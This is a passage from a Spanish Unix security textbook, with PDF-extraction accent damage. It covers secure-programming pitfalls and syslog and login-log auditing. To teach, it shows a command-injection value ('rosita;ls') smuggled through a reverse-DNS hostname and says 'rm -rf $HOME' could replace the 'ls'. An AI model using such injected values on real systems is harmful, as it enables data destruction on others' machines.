  • 88 CAP´ ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOS No one logged on. luisa:~/tmp$ Pero, ¿qu´ pasar´ si en lugar de devolver un nombre ‘normal’ (como ‘rosita’) se devuelve e ıa un nombre algo m´s elaborado, como ‘rosita;ls’? Podemos verlo: a luisa:~/tmp$ ./ejemplo 195.195.5.1 [rosita;ls] No one logged on. ejemplo ejemplo.c luisa:~/tmp$ Exactamente: se ha ejecutado la orden ‘finger @rosita;ls’ (esto es, un ‘finger’ a la m´quina seguido de un ‘ls’). Podemos imaginar los efectos que tendr´ el uso de este a ıa programa si sustituimos el inocente ‘ls’ por un ‘rm -rf $HOME’. Un atacante que consiga controlar un servidor dns (algo no muy complicado) podr´ inyectarnos datos maliciosos en ıa nuestra m´quina sin ning´n problema. Para evitar esta situaci´n debemos hacer una doble a u o b´squeda inversa y adem´s no hacer ninguna suposici´n sobre la correcci´n o el formato de u a o o los datos recibidos; en nuestro c´digo debemos insertar las comprobaciones necesarias para o asegurarnos de que la informaci´n que recibimos no nos va a causar problemas. o • syslog(): Hemos de tener la precauci´n de utilizar una versi´n de esta funci´n de librer´ o o o ıa que compruebe la longitud de sus argumentos; si no lo hacemos y esa longitud sobrepasa un cierto l´ ımite (generalmente, 1024 bytes) podemos causar un desbordamiento en los buffers de nuestro sistema de log, dej´ndolo inutilizable. a • realloc(): Ning´n programa – privilegiado o no – que maneje datos sensibles (por ejemplo, u contrase˜as, correo electr´nico. . . y especialmente aplicaciones criptogr´ficas) debe utilizar es- n o a ta llamada; realloc() se suele utilizar para aumentar din´micamente la cantidad de memoria a reservada para un puntero. Lo habitual es que la nueva zona de memoria sea contigua a la que ya estaba reservada, pero si esto no es posible realloc() copia la zona antigua a una nueva ubicaci´n donde pueda a˜adirle el espacio especificado. ¿Cu´l es el problema? La zona de o n a memoria antigua se libera (perdemos el puntero a ella) pero no se pone a cero, con lo que sus contenidos permanecen inalterados hasta que un nuevo proceso reserva esa zona; accediendo a bajo nivel a la memoria (por ejemplo, leyendo /proc/kcore o /dev/kmem) ser´ posible para ıa un atacante tener acceso a esa informaci´n. o Realmente, malloc() tampoco pone a cero la memoria reservada, por lo que a primera vista puede parecer que cualquier proceso de usuario (no un acceso a bajo nivel, sino un simple malloc() en un programa) podr´ permitir la lectura del antiguo contenido de la zona de ıa memoria reservada. Esto es falso si se trata de nueva memoria que el n´cleo reserva para el u proceso invocador: en ese caso, la memoria es limpiada por el propio kernel del operativo, que invoca a kmalloc() (en el caso de Linux, en otros Unices el nombre puede variar aunque la idea sea la misma) para hacer la reserva. Lo que s´ es posible es que si liberamos una zona ı de memoria (por ejemplo con free()) y a continuaci´n la volvemos a reservar, en el mismo o proceso, podamos acceder a su contenido: esa zona no es ‘nueva’ (es decir, el n´cleo no la u ha reservado de nuevo), sino que ya pertenec´ al proceso. De cualquier forma, si vamos a ıa liberar una zona en la que est´ almacenada informaci´n sensible, lo mejor en cualquier caso a o es ponerla a cero manualmente, por ejemplo mediante bzero() o memset(). • open(): El sistema de ficheros puede modificarse durante la ejecuci´n de un programa de o formas que en ocasiones ni siquiera imaginamos; por ejemplo, en Unix se ha de evitar escribir siguiendo enlaces de archivos inesperados (un archivo que cambia entre una llamada a lstat() para comprobar si existe y una llamada a open() para abrirlo en caso positivo, como hemos visto antes). No obstante, no hay ninguna forma de realizar esta operaci´n at´micamente sin o o llegar a mecanismos de entrada/salida de muy bajo nivel; Peter Gutmann propone el siguiente c´digo para asegurarnos de que estamos realizando un open() sobre el archivo que realmente o queremos abrir, y no sobre otro que un atacante nos ha puesto en su lugar:
  • ´5.5. PROGRAMACION SEGURA 89 struct stat lstatInfo; char *mode="rb+"; int fd; if(lstat(fileName,&lstatInfo)==-1) { if(errno!=ENOENT) return( -1 ); if((fd=open(fileName,O_CREAT|O_EXCL|O_RDWR,0600))==-1) return(-1); mode="wb"; } else { struct stat fstatInfo; if((fd=open(fileName,O_RDWR))==-1) return(-1); if(fstat(fd,&fstatInfo)==-1 || lstatInfo.st_mode!=fstatInfo.st_mode || lstatInfo.st_ino!=fstatInfo.st_ino || lstatInfo.st_dev!=fstatInfo.st_dev) { close(fd); return(-1); } if(fstatInfo.st_nlink>1||!S_ISREG(lstatInfo.st_mode)) { close(fd); return(-1); } #ifdef NO_FTRUNCATE close(fd); if((fd=open(fileName,O_CREAT|O_TRUNC|O_RDWR))==-1) return( -1 ); mode="wb"; #else ftruncate(fd,0); #endif /* NO_FTRUNCATE */ } stream->filePtr=fdopen(fd,mode); if(stream->filePtr==NULL) { close(fd); unlink(fileName); return(-1); /* Internal error, should never happen */ } } Como podemos ver, algo tan elemental como una llamada a open() se ha convertido en todo el c´digo anterior si queremos garantizar unas m´ o ınimas medidas de seguridad; esto nos puede dar una idea de hasta que punto la programaci´n ‘segura’ puede complicarse. No obstante, o en muchas ocasiones es preferible toda la complicaci´n y parafernalia anteriores para realizar o un simple open() a que esa llamada se convierta en un fallo de seguridad en nuestro sistema. No hay ning´n programa que se pueda considerar perfecto o libre de errores (como se cita en u el cap´ ıtulo 23 de [GS96], una rutina de una librer´ puede tener un fallo. . . o un rayo gamma ıa puede alterar un bit de memoria para hacer que nuestro programa se comporte de forma inesperada), pero cualquier medida que nos ayude a minimizar las posibilidades de problemas es siempre positiva.
  • 90 CAP´ ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOS
  • Cap´ ıtulo 6Auditor´ del sistema ıa6.1 Introducci´n oCasi todas las actividades realizadas en un sistema Unix son susceptibles de ser, en mayor o menormedida, monitorizadas: desde las horas de acceso de cada usuario al sistema hasta las p´ginas web am´s frecuentemente visitadas, pasando por los intentos fallidos de conexi´n, los programas ejecuta- a odos o incluso el tiempo de CPU que cada usuario consume. Obviamente esta facilidad de Unix pararecoger informaci´n tiene unas ventajas inmediatas para la seguridad: es posible detectar un intento ode ataque nada m´s producirse el mismo, as´ como tambi´n detectar usos indebidos de los recursos a ı eo actividades ‘sospechosas’; sin embargo, existen tambi´n desventajas, ya que la gran cantidad de einformaci´n que potencialmente se registra puede ser aprovechada para crear negaciones de servicio oo, m´s habitualmente, esa cantidad de informaci´n puede hacer dif´ detectar problemas por el a o ıcilvolumen de datos a analizar.Algo muy interesante de los archivos de log en Unix es que la mayor´ de ellos son simples ficheros ıade texto, que se pueden visualizar con un simple cat. Por una parte esto es bastante c´modo opara el administrador del sistema, ya que no necesita de herramientas especiales para poder revisarlos logs (aunque existen algunas utilidades para hacerlo, como swatch) e incluso puede programarshellscripts para comprobar los informes generados de forma autom´tica, con ´rdenes como awk, a ogrep o sed. No obstante, el hecho de que estos ficheros sean texto plano hace que un atacantelo tenga muy f´cil para ocultar ciertos registros modificando los archivos con cualquier editor de atextos; esto implica una cosa muy importante para un administrador: nunca ha de confiar al 100%en lo que los informes de auditor´ del sistema le digan. Para minimizar estos riesgos se pueden to- ıamar diversas medidas, desde algunas quiz´s demasiado complejas para entornos habituales ([SK98]) ahasta otras m´s sencillas pero igualmente efectivas, como utilizar una m´quina fiable para regis- a atrar informaci´n del sistema o incluso enviar los registros m´s importantes a una impresora; m´s o a aadelante hablaremos de ellas.6.2 El sistema de log en UnixUna desventaja a˜adida al sistema de auditor´ en Unix puede ser la complejidad que puede al- n ıacanzar una correcta configuraci´n; por si la dificultad del sistema no fuera suficiente, en cada Unix oel sistema de logs tiene peculiaridades que pueden propiciar la p´rdida de informaci´n interesante e ode cara al mantenimiento de sistemas seguros. Aunque muchos de los ficheros de log de los quehablaremos a continuaci´n son comunes en cualquier sistema, su localizaci´n, o incluso su formato, o opueden variar entre diferentes Unices.Dentro de Unix hay dos grandes familias de sistemas: se trata de System V y bsd; la localiza-ci´n de ficheros y ciertas ´rdenes relativas a la auditor´ de la m´quina van a ser diferentes en ellas, o o ıa a 91
  • 92 CAP´ ITULO 6. AUDITOR´ DEL SISTEMA IApor lo que es muy recomendable consultar las p´ginas del manual antes de ponerse a configurar el asistema de auditor´ en un equipo concreto. La principal diferencia entre ellos es el denominado ıaprocess accounting o simplemente accounting, consistente en registrar todos los programas ejecuta-dos por cada usuario; evidentemente, los informes generados en este proceso pueden llegar a ocuparmuch´ ısimo espacio en disco (dependiendo del n´mero de usuarios en nuestro sistema) por lo que s´lo u oes recomendable en situaciones muy concretas, por ejemplo para detectar actividades sospechosasen una m´quina o para cobrar por el tiempo de CPU consumido. En los sistemas System V el pro- acess accounting est´ desactivado por defecto; se puede iniciar mediante /usr/lib/acct/startup, ay para visualizar los informes se utiliza la orden acctcom. En la familia bsd los equivalentes a estas´rdenes son accton y lastcomm; en este caso el process accounting est´ inicializado por defecto.o aUn mundo aparte a la hora de generar (y analizar) informes acerca de las actividades realiza-das sobre una m´quina Unix son los sistemas con el modelo de auditor´ C2 ([B+ 85]); mientras que a ıacon el modelo cl´sico se genera un registro tras la ejecuci´n de cada proceso, en Unix C2 se propor- a ociona una pista de auditor´ donde se registran los accesos y los intentos de acceso de una entidad ıaa un objeto, as´ como cada cambio en el estado del objeto, la entidad o el sistema global. Esto ıse consigue asignando un identificador denominado Audit ID a cada grupo de procesos ejecutados(desde el propio login), identificador que se registra junto a la mayor´ de llamadas al sistema que ıaun proceso realiza, incluyendo algunas tan comunes como write(), open(), close() o read(). Anadie se le puede escapar la cantidad de espacio y de CPU necesarios para mantener los registrosa un nivel tan preciso, por lo que en la mayor´ de sistemas (especialmente en entornos habituales, ıacomo los estudiados aqu´ el modelo de auditor´ C2 es innecesario; y no s´lo esto, sino que en ı) ıa omuchas ocasiones tambi´n se convierte en una monitorizaci´n in´til ([ALGJ98]) si no se dispone e o ude mecanismos para interpretar o reducir la gran cantidad de datos registrados: el administradorguarda tanta informaci´n que es casi imposible analizarla en busca de actividades sospechosas. o6.3 El demonio syslogdEl demonio syslogd (Syslog Daemon) se lanza autom´ticamente al arrancar un sistema Unix, y es ael encargado de guardar informes sobre el funcionamiento de la m´quina. Recibe mensajes de las adiferentes partes del sistema (n´cleo, programas. . . ) y los env´ y/o almacena en diferentes locali- u ıazaciones, tanto locales como remotas, siguiendo un criterio definido en el fichero de configuraci´n o/etc/syslog.conf, donde especificamos las reglas a seguir para gestionar el almacenamiento demensajes del sistema. Las l´ ıneas de este archivo que comienzan por ‘#’ son comentarios, con lo cualson ignoradas de la misma forma que las l´ ıneas en blanco; si ocurriera un error al interpretar unade las l´ıneas del fichero, se ignorar´ la l´ ıa ınea completa. Un ejemplo de fichero /etc/syslog.confes el siguiente: anita:~# cat /etc/syslog.conf #ident "@(#)syslog.conf 1.4 96/10/11 SMI" /* SunOS 5.0 */ # # Copyright (c) 1991-1993, by Sun Microsystems, Inc. # # syslog configuration file. # # This file is processed by m4 so be careful to quote (‘’) names # that match m4 reserved words. Also, within ifdef’s, arguments # containing commas must be quoted. # *.err;kern.notice;auth.notice /dev/console *.err;kern.debug;daemon.notice;mail.crit /var/adm/messages *.alert;kern.err;daemon.err operator *.alert root
  • 6.3. EL DEMONIO SYSLOGD 93 *.emerg * # if a non-loghost machine chooses to have authentication messages # sent to the loghost machine, un-comment out the following line: #auth.notice ifdef(‘LOGHOST’, /var/log/authlog, @loghost) mail.debug ifdef(‘LOGHOST’, /var/log/syslog, @loghost) # # non-loghost machines will use the following lines to cause "user" # log messages to be logged locally. # ifdef(‘LOGHOST’, , user.err /dev/console user.err /var/adm/messages user.alert ‘root, operator’ user.emerg * ) anita:~#Podemos ver que cada regla del archivo tiene dos campos: un campo de selecci´n y un campo de oacci´n, separados por espacios o tabuladores. El campo de selecci´n est´ formado a su vez de o o ados partes: una del servicio que env´ el mensaje y otra de su prioridad, separadas por un punto ıa(‘.’); ambas son indiferentes a may´sculas y min´sculas. La parte del servicio contiene una de las u usiguientes palabras clave: auth, auth-priv, cron, daemon, kern, lpr, mail, mark, news, security(equivalente a auth), syslog, user, uucp y local0 hasta local7. Esta parte especifica el ‘subsis-tema’ que ha generado ese mensaje (por ejemplo, todos los programas relacionados con el correogenerar´n mensajes ligados al servicio mail). aLa prioridad est´ compuesta de uno de los siguientes t´rminos, en orden ascendente: debug, info, a enotice, warning, warn (equivalente a warning), err, error (equivalente a err), crit, alert,emerg, y panic (equivalente a emerg). La prioridad define la gravedad o importancia del mensa-je almacenado. Todos los mensajes de la prioridad especificada y superiores son almacenados deacuerdo con la acci´n requerida. oAdem´s de los t´rminos mencionados hasta ahora, el demonio syslogd emplea los siguientes carac- a eteres especiales: • ‘∗’ (asterisco) Empleado como comod´ para todas las prioridades y servicios anteriores, dependiendo de ın d´nde son usados (si antes o despu´s del car´cter de separaci´n ‘.’): o e a o # Guardar todos los mensajes del servicio mail en /var/adm/mail # mail.* /var/adm/mail • ‘ ’ (blanco, espacio, nulo) Indica que no hay prioridad definida para el servicio de la l´ ınea almacenada. • ‘,’ (coma) Con este car´cter es posible especificar m´ltiples servicios con el mismo patr´n de prioridad a u o en una misma l´ınea. Es posible enumerar cuantos servicios se quieran: # Guardar todos los mensajes mail.info y news.info en # /var/adm/info mail,news.=info /var/adm/info
  • 94 CAP´ ITULO 6. AUDITOR´ DEL SISTEMA IA • ‘;’ (punto y coma) Es posible dirigir los mensajes de varios servicios y prioridades a un mismo destino, se- par´ndolos por este car´cter: a a # Guardamos los mensajes de prioridad "info" y "notice" # en el archivo /var/log/messages *.=info;*.=notice /var/log/messages • ‘=’ (igual) De este modo solo se almacenan los mensajes con la prioridad exacta especificada y no inclu- yendo las superiores: # Guardar todos los mensajes criticos en /var/adm/critical # *.=crit /var/adm/critical • ‘!’ (exclamaci´n) o Preceder el campo de prioridad con un signo de exclamaci´n sirve para ignorar todas las o prioridades, teniendo la posibilidad de escoger entre la especificada (!=prioridad) y la espe- cificada m´s todas las superiores (!prioridad). Cuando se usan conjuntamente los caracteres a ‘=’ y ‘!’, el signo de exclamaci´n ‘!’ debe preceder obligatoriamente al signo igual ‘=’, de o esta forma: !=. # Guardar mensajes del kernel de prioridad info, pero no de # prioridad err y superiores # Guardar mensajes de mail excepto los de prioridad info kern.info;kern.!err /var/adm/kernel-info mail.*;mail.!=info /var/adm/mailPor su parte, el campo de acci´n describe el destino de los mensajes, que puede ser : o • Un fichero plano Normalmente los mensajes del sistema son almacenados en ficheros planos. Dichos ficheros han de estar especificados con la ruta de acceso completa (comenzando con ‘/’). Podemos preceder cada entrada con el signo menos, ‘-’, para omitir la sincronizaci´n del o archivo (vaciado del buffer de memoria a disco). Aunque puede ocurrir que se pierda infor- maci´n si el sistema cae justo despu´s de un intento de escritura en el archivo, utilizando este o e signo se puede conseguir una mejora importante en la velocidad, especialmente si estamos ejecutando programas que mandan muchos mensajes al demonio syslogd. # Guardamos todos los mensajes de prioridad critica en "critical" # *.=crit /var/adm/critical • Un terminal (o la consola) Tambi´n tenemos la posibilidad de enviar los mensajes a terminales; de este modo podemos e tener uno de los terminales virtuales que muchos sistemas Unix ofrecen en su consola ‘dedicado’ a listar los mensajes del sistema, que podr´n ser consultados con solo cambiar a ese terminal: a # Enviamos todos los mensajes a tty12 (ALT+F12 en Linux) y todos # los mensajes criticos del nucleo a consola # *.* /dev/tty12 kern.crit /dev/console • Una tuber´ con nombre ıa Algunas versiones de syslogd permiten enviar registros a ficheros de tipo pipe simplemente
  • 6.4. ALGUNOS ARCHIVOS DE LOG 95 anteponiendo el s´ımbolo ‘|’ al nombre del archivo; dicho fichero ha de ser creado antes de iniciar el demonio syslogd, mediante ´rdenes como mkfifo o mknod. Esto es util para debug o ´ y tambi´n para procesar los registros utilizando cualquier aplicaci´n de Unix, tal y como ve- e o remos al hablar de logs remotos cifrados. Por ejemplo, la siguiente l´ ınea de /etc/syslog.conf enviar´ todos los mensajes de cual- ıa quier prioridad a uno de estos ficheros denominado /var/log/mififo: # Enviamos todos los mensajes a la tuberia con nombre # /var/log/mififo # *.* |/var/log/mififo • Una m´quina remota a Se pueden enviar los mensajes del sistema a otra m´quina, de manera a que sean almacenados a remotamente. Esto es util si tenemos una m´quina segura, en la que podemos confiar, conec- ´ a tada a la red, ya que de esta manera se guardar´ all´ una copia de los mensajes de nuestro ıa ı sistema y no podr´ ser modificados en caso de que alguien entrase en nuestra m´quina. Esto ıan a es especialmente util para detectar usuarios ‘ocultos’ en nuestro sistema (usuarios maliciosos ´ que han conseguido los suficientes privilegios para ocultar sus procesos o su conexi´n): o # Enviamos los mensajes de prioridad warning y superiores al # fichero "syslog" y todos los mensajes (incluidos los # anteriores) a la maquina "secure.upv.es" # *.warn /usr/adm/syslog *.* @secure.upv.es • Unos usuarios del sistema (si est´n conectados) a Se especifica la lista de usuarios que deben recibir un tipo de mensajes simplemente escribiendo su login, separados por comas: # Enviamos los mensajes con la prioridad "alert" a root y toni # *.alert root, toni • Todos los usuarios que est´n conectados e Los errores con una prioridad de emergencia se suelen enviar a todos los usuarios que est´n e conectados al sistema, de manera que se den cuenta de que algo va mal: # Mostramos los mensajes urgentes a todos los usuarios # conectados, mediante wall *.=emerg *6.4 Algunos archivos de logEn funci´n de la configuraci´n del sistema de auditor´ de cada equipo Unix los eventos que sucedan o o ıaen la m´quina se registrar´n en determinados ficheros; aunque podemos loggear en cualquier fichero a a(incluso a trav´s de la red o en dispositivos, como veremos luego), existen ciertos archivos de registro e‘habituales’ en los que se almacena informaci´n. A continuaci´n comentamos los m´s comunes y la o o ainformaci´n que almacenan. o6.4.1 syslogEl archivo syslog (guardado en /var/adm/ o /var/log/) es quiz´s el fichero de log m´s importante a adel sistema; en ´l se guardan, en texto claro, mensajes relativos a la seguridad de la m´quina, como e a
  • 96 CAP´ ITULO 6. AUDITOR´ DEL SISTEMA IAlos accesos o los intentos de acceso a ciertos servicios. No obstante, este fichero es escrito porsyslogd, por lo que dependiendo de nuestro fichero de configuraci´n encontraremos en el archivo ouna u otra informaci´n. Al estar guardado en formato texto, podemos visualizar su contenido con oun simple cat: anita:/# cat /var/log/syslog Mar 5 04:15:23 anita in.telnetd[11632]: connect from localhost Mar 5 06:16:52 anita rpcbind: connect from 127.0.0.1 to getport(R ) Mar 5 06:16:53 anita last message repeated 3 times Mar 5 06:35:08 anita rpcbind: connect from 127.0.0.1 to getport(R ) Mar 5 18:26:56 anita rpcbind: connect from 127.0.0.1 to getport(R ) Mar 5 18:28:47 anita last message repeated 1 time Mar 5 18:32:43 anita rpcbind: connect from 127.0.0.1 to getport(R ) Mar 6 02:30:26 anita rpcbind: connect from 127.0.0.1 to getport(R ) Mar 6 03:31:37 anita rpcbind: connect from 127.0.0.1 to getport(R ) Mar 6 11:07:04 anita in.telnetd[14847]: connect from rosita Mar 6 11:40:43 anita in.telnetd[14964]: connect from localhost anita:/#6.4.2 messagesEn este archivo de texto se almacenan datos ‘informativos’ de ciertos programas, mensajes de bajao media prioridad destinados m´s a informar que a avisar de sucesos importantes, como informaci´n a orelativa al arranque de la m´quina; no obstante, como suced´ con el fichero syslog, en funci´n de a ıa o/etc/syslog.conf podremos guardar todo tipo de datos. Para visualizar su contenido es suficienteuna orden como cat o similares: anita:/# head -70 /var/adm/messages Jan 24 18:09:54 anita unix: SunOS Release 5.7 Version Generic [UNIX(R) System V Release 4.0] Jan 24 18:09:54 anita unix: Copyright (c) 1983-1998, Sun Microsystems, Inc. Jan 24 18:09:54 anita unix: mem = 65152K (0x3fa0000) Jan 24 18:09:54 anita unix: avail mem = 51167232 Jan 24 18:09:54 anita unix: root nexus = i86pc Jan 24 18:09:54 anita unix: isa0 at root Jan 24 18:09:54 anita unix: pci0 at root: space 0 offset 0 Jan 24 18:09:54 anita unix: IDE device at targ 0, lun 0 lastlun 0x0 Jan 24 18:09:54 anita unix: model WDC WD84AA, stat 50, err 0 Jan 24 18:09:54 anita unix: cfg 0x427a, cyl 16383, hd 16, sec/trk 63 Jan 24 18:09:54 anita unix: mult1 0x8010, mult2 0x110, dwcap 0x0, cap 0x2f00 Jan 24 18:09:54 anita unix: piomode 0x280, dmamode 0x0, advpiomode 0x3 Jan 24 18:09:54 anita unix: minpio 120, minpioflow 120 Jan 24 18:09:54 anita unix: valid 0x7, dwdma 0x7, majver 0x1e Jan 24 18:09:54 anita unix: ata_set_feature: (0x66,0x0) failed Jan 24 18:09:54 anita unix: ATAPI device at targ 1, lun 0 lastlun 0x0 Jan 24 18:09:54 anita unix: model CD-ROM 50X, stat 50, err 0 Jan 24 18:09:54 anita unix: cfg 0x85a0, cyl 0, hd 0, sec/trk 0 Jan 24 18:09:54 anita unix: mult1 0x0, mult2 0x0, dwcap 0x0, cap 0xf00 Jan 24 18:09:54 anita unix: piomode 0x400, dmamode 0x200, advpiomode 0x3 Jan 24 18:09:54 anita unix: minpio 227, minpioflow 120 Jan 24 18:09:54 anita unix: valid 0x6, dwdma 0x107, majver 0x0 Jan 24 18:09:54 anita unix: PCI-device: ata@0, ata0
  • 6.4. ALGUNOS ARCHIVOS DE LOG 97 Jan 24 18:09:54 anita unix: ata0 is /pci@0,0/pci-ide@7,1/ata@0 Jan 24 18:09:54 anita unix: Disk0: <Vendor ’Gen-ATA ’ Product ’WDC WD84AA ’> Jan 24 18:09:54 anita unix: cmdk0 at ata0 target 0 lun 0 Jan 24 18:09:54 anita unix: cmdk0 is /pci@0,0/pci-ide@7,1/ata@0/cmdk@0,0 Jan 24 18:09:54 anita unix: root on /pci@0,0/pci-ide@7,1/ide@0/cmdk@0,0:a fstype ufs Jan 24 18:09:54 anita unix: ISA-device: asy0 Jan 24 18:09:54 anita unix: asy0 is /isa/asy@1,3f8 Jan 24 18:09:54 anita unix: ISA-device: asy1 Jan 24 18:09:54 anita unix: asy1 is /isa/asy@1,2f8 Jan 24 18:09:54 anita unix: ISA-device: asy2 Jan 24 18:09:54 anita unix: asy2 is /isa/pnpSUP,1670@pnpSUP,1670,7ec2 Jan 24 18:09:54 anita unix: Number of console virtual screens = 13 Jan 24 18:09:54 anita unix: cpu 0 initialization complete - online Jan 24 18:09:54 anita unix: dump on /dev/dsk/c0d0s1 size 86 MB Jan 24 18:09:55 anita unix: pseudo-device: pm0 Jan 24 18:09:55 anita unix: pm0 is /pseudo/pm@0 Jan 24 18:09:56 anita unix: pseudo-device: vol0 Jan 24 18:09:56 anita unix: vol0 is /pseudo/vol@0 Jan 24 18:09:57 anita icmpinfo: started, PID=213. Jan 24 18:09:57 anita unix: sd1 at ata0: Jan 24 18:09:57 anita unix: target 1 lun 0 Jan 24 18:09:57 anita unix: sd1 is /pci@0,0/pci-ide@7,1/ata@0/sd@1,0 Jan 24 18:10:03 anita icmpinfo: ICMP_Dest_Unreachable[Port] < 127.0.0.1 [localhost] > 127.0.0.1 [localhost] sp=1664 dp=3200 seq=0x002e0000 sz=74(+20) Jan 24 18:10:03 anita unix: ISA-device: fdc0 Jan 24 18:10:03 anita unix: fd0 at fdc0 Jan 24 18:10:03 anita unix: fd0 is /isa/fdc@1,3f0/fd@0,0 Jan 24 18:10:04 anita icmpinfo: ICMP_Dest_Unreachable[Port] < 127.0.0.1 [localhost] > 127.0.0.1 [localhost] sp=2944 dp=161 seq=0x00420000 sz=92(+20) Jan 24 18:10:05 anita unix: ISA-device: asy0 Jan 24 18:10:05 anita unix: asy0 is /isa/asy@1,3f8 Jan 24 18:10:05 anita unix: ISA-device: asy1 Jan 24 18:10:05 anita unix: asy1 is /isa/asy@1,2f8 Jan 24 18:10:05 anita unix: ISA-device: asy2 Jan 24 18:10:05 anita unix: asy2 is /isa/pnpSUP,1670@pnpSUP,1670,7ec2 an 24 18:10:08 anita icmpinfo: ICMP_Dest_Unreachable[Port] < 127.0.0.1 [localhost] > 127.0.0.1 [localhost] sp=32780 dp=162 seq=0x00370000 sz=83(+20) Jan 24 18:10:35 anita unix: pseudo-device: xsvc0 Jan 24 18:10:35 anita unix: xsvc0 is /pseudo/xsvc@0 anita:/#6.4.3 wtmpEste archivo es un fichero binario (no se puede leer su contenido directamente volc´ndolo con cat ao similares) que almacena informaci´n relativa a cada conexi´n y desconexi´n al sistema. Podemos o o over su contenido con ´rdenes como last: o anita:/# last -10 toni pts/11 localhost Mon Mar 6 11:07 - 11:07 (00:00) toni pts/11 rosita Sun Mar 5 04:22 - 04:25 (00:03) ftp ftp andercheran.aiin Sun Mar 5 02:30 still logged in ftp ftp andercheran.aiin Sun Mar 5 00:28 - 02:30 (02:01) ftp ftp anita Thu Mar 2 03:02 - 00:28 (2+21:25) ftp ftp anita Thu Mar 2 03:01 - 03:02 (00:00)
  • 98 CAP´ ITULO 6. AUDITOR´ DEL SISTEMA IA ftp ftp localhost Thu Mar 2 02:35 - 03:01 (00:26) root console Thu Mar 2 00:13 still logged in reboot system boot Thu Mar 2 00:12 root console Wed Mar 1 06:18 - down (17:54) anita:/#Los registros guardados en este archivo (y tambi´n en utmp) tienen el formato de la estructura eutmp, que contiene informaci´n como el nombre de usuario, la l´ o ınea por la que accede, el lugardesde donde lo hace y la hora de acceso; se puede consultar la p´gina de manual de funciones como agetutent() para ver la estructura concreta en el clon de Unix en el que trabajemos. Algunasvariantes de Unix (como Solaris o IRIX) utilizan un fichero wtmp extendido denominado wtmpx, concampos adicionales que proporcionan m´s informaci´n sobre cada conexi´n. a o o6.4.4 utmpEl archivo utmp es un fichero binario con informaci´n de cada usuario que est´ conectado en un o amomento dado; el programa /bin/login genera un registro en este fichero cuando un usuarioconecta, mientras que init lo elimina cuando desconecta. Aunque habitualmente este archivo est´ asituado en /var/adm/, junto a otros ficheros de log, es posible encontrar algunos Unices – los m´s aantiguos – que lo situan en /etc/. Para visualizar el contenido de este archivo podemos utilizar´rdenes como last (indicando el nombre de fichero mediante la opci´n -f), w o who:o o anita:/# who root console Mar 2 00:13 root pts/2 Mar 3 00:47 (unix) root pts/3 Mar 2 00:18 (unix) root pts/5 Mar 2 00:56 (unix) root pts/6 Mar 2 02:23 (unix:0.0) root pts/8 Mar 3 00:02 (unix:0.0) root pts/7 Mar 2 23:43 (unix:0.0) root pts/9 Mar 3 00:51 (unix) root pts/10 Mar 6 00:23 (unix) anita:/#Como suced´ con wtmp, algunos Unices utilizan tambi´n una versi´n extendida de utmp (utmpx) ıa e ocon campos adicionales.6.4.5 lastlogEl archivo lastlog es un fichero binario guardado generalmente en /var/adm/, y que contiene unregistro para cada usuario con la fecha y hora de su ultima conexi´n; podemos visualizar estos datos ´ opara un usuario dado mediante la orden finger: anita:/# finger toni Login name: toni In real life: Toni at ANITA Directory: /export/home/toni Shell: /bin/sh Last login Mon Mar 6 11:07 on pts/11 from localhost No unread mail No Plan. anita:/#6.4.6 faillogEste fichero es equivalente al anterior, pero en lugar de guardar informaci´n sobre la fecha y hora odel ultimo acceso al sistema lo hace del ultimo intento de acceso de cada usuario; una conexi´n es ´ ´ ofallida si el usuario (o alguien en su lugar) teclea incorrectamente su contrase˜a. Esta informaci´n n ose muestra la siguiente vez que dicho usuario entra correctamente a la m´quina: a
  • 6.4. ALGUNOS ARCHIVOS DE LOG 99 andercheran login: toni Password: Linux 2.0.33. 1 failure since last login. Last was 14:39:41 on ttyp9. Last login: Wed May 13 14:37:46 on ttyp9 from pleione.cc.upv.es. andercheran:~$6.4.7 loginlogSi en algunas versiones de Unix (como Solaris) creamos el archivo /var/adm/loginlog (que origi-nalmente no existe), se registrar´n en ´l los intentos fallidos de login, siempre y cuando se produzcan a ecinco o m´s de ellos seguidos: a anita:/# cat /var/adm/loginlog toni:/dev/pts/6:Thu Jan 6 07:02:53 2000 toni:/dev/pts/6:Thu Jan 6 07:03:00 2000 toni:/dev/pts/6:Thu Jan 6 07:03:08 2000 toni:/dev/pts/6:Thu Jan 6 07:03:37 2000 toni:/dev/pts/6:Thu Jan 6 07:03:44 2000 anita:/#6.4.8 btmpEn algunos clones de Unix, como Linux o HP-UX, el fichero btmp se utiliza para registrar lasconexiones fallidas al sistema, con un formato similar al que wtmp utiliza para las conexiones quehan tenido ´xito: e andercheran:~# last -f /var/adm/btmp |head -7 pnvarro ttyq1 term104.aiind.up Wed Feb 9 16:27 - 15:38 (23:11) jomonra ttyq2 deportes.etsii.u Fri Feb 4 14:27 - 09:37 (9+19:09) PNAVARRO ttyq4 term69.aiind.upv Wed Feb 2 12:56 - 13:09 (20+00:12) panavarr ttyq2 term180.aiind.up Fri Jan 28 12:45 - 14:27 (7+01:42) vbarbera ttyp0 daind03.etsii.up Thu Jan 27 20:17 still logged in pangel ttyq1 agarcia2.ter.upv Thu Jan 27 18:51 - 16:27 (12+21:36) abarra ttyp0 dtra-51.ter.upv. Thu Jan 27 18:42 - 20:17 (01:34) andercheran:~#6.4.9 sulogEste es un fichero de texto donde se registran las ejecuciones de la orden su, indicando fecha, hora,usuario que lanza el programa y usuario cuya identidad adopta, terminal asociada y ´xito (‘+’) o efracaso (‘-’) de la operaci´n: o anita:/# head -4 /var/adm/sulog SU 12/27 07:41 + console root-toni SU 12/28 23:42 - vt01 toni-root SU 12/28 23:43 + vt01 toni-root SU 12/29 01:09 + vt04 toni-root anita:/#6.4.10 debugEn este archivo de texto se registra informaci´n de depuraci´n (de debug) de los programas que se o oejecutan en la m´quina; esta informaci´n puede ser enviada por las propias aplicaciones o por el a on´cleo del sistema operativo: u
